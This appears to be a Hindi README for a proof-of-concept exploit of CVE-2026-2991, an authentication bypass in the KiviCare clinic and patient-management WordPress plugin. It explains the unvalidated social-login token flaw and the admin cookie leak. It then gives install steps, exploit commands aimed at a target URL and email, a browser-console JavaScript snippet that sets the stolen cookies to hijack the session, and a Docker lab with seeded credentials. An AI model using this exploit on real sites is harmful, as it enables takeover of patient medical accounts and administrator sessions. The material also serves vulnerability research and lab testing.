
CVE-2026-2991 के लिए PoC एक्सप्लॉइट — KiviCare WordPress प्लगइन (≤4.1.2) में प्रमाणीकरण बायपास, जो बिना प्रमाणीकरण के रोगी खाते पर कब्ज़ा करने और एडमिन सत्र निकालने की अनुमति देता है।
CVE-2026-2991 KiviCare – Clinic & Patient Management System (EHR) WordPress प्लगइन के सभी संस्करणों (4.1.2 तक) में एक प्रमाणीकरण बायपास भेद्यता है।
प्लगइन /wp-json/kivicare/v1/auth/patient/social-login पर एक सार्वजनिक REST एंडपॉइंट प्रकट करता है जो सोशल लॉगिन के माध्यम से उपयोगकर्ताओं को प्रमाणित करता है। patientSocialLogin() फ़ंक्शन एक ईमेल पता और एक एक्सेस टोकन स्वीकार करता है, लेकिन दावा किए गए सोशल प्रदाता के विरुद्ध टोकन को कभी मान्य नहीं करता। कोई भी अप्रमाणित हमलावर केवल उनके ईमेल और एक मनमाना स्ट्रिंग को टोकन के रूप में प्रदान करके किसी भी पंजीकृत रोगी के रूप में लॉग इन कर सकता है।
इसके अतिरिक्त, WordPress प्रमाणीकरण कुकीज़ रोगी-भूमिका जांच लागू होने से पहले जारी की जाती हैं। इसका मतलब यह है कि गैर-रोगी खातों (प्रशासकों सहित) के लिए, प्रतिक्रिया HTTP 403 लौटाती है लेकिन फिर भी इसमें मान्य Set-Cookie हेडर शामिल होते हैं — हमलावर को एक पुन: उपयोग योग्य प्रशासक सत्र लीक करते हैं।
प्रभावित संस्करण: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
एक पंजीकृत रोगी के लिए प्रमाणीकरण बायपास करें। स्क्रिप्ट उनका पूरा सत्र लौटाती है, जिसमें एक नॉन्स और पुन: उपयोग योग्य कुकीज़ शामिल हैं।
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

किसी भी गैर-रोगी उपयोगकर्ता (जैसे प्रशासक) का ईमेल प्रदान करें। एंडपॉइंट भूमिका जांच से पहले मान्य प्रमाणीकरण कुकीज़ जारी करता है और 403 लौटाता है — उन कुकीज़ को निकाला और मुद्रित किया जाता है।
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

सफल रन के बाद स्क्रिप्ट एक JavaScript स्निपेट प्रिंट करती है। लक्ष्य साइट को अपने ब्राउज़र में खोलें, स्निपेट को ब्राउज़र कंसोल (F12 → Console) में पेस्ट करें, और Enter दबाएं — यह चुराई गई कुकीज़ सेट करता है और आपको स्वचालित रूप से डैशबोर्ड पर ले जाता है।
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
एक स्व-निहित Docker Compose वातावरण जिसमें कमजोर प्लगइन पूर्व-स्थापित और यथार्थवादी परीक्षण डेटा के साथ बीजित है। अधिक जानकारी के लिए DOCKER.md देखें।
cd docker/
docker compose up
लैब पहले बूट पर निम्नलिखित खातों को सीड करता है:
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
यह उपकरण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। निर्माता इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।
| भूमिका | उपयोगकर्तानाम | ईमेल | पासवर्ड |
|---|
| एडमिन | admin | [email protected] | admin |
| डॉक्टर | dr.harris | [email protected] | Doctor@123 |
| डॉक्टर | dr.chen | [email protected] | Doctor@123 |
| डॉक्टर | dr.okonkwo | [email protected] | Doctor@123 |
| रोगी | james.ford | [email protected] | Patient@123 |
| रोगी | sofia.reyes | [email protected] | Patient@123 |
| रोगी | oliver.knight | [email protected] | Patient@123 |
| रोगी | amara.diallo | [email protected] | Patient@123 |
| रोगी | dan.walsh | [email protected] | Patient@123 |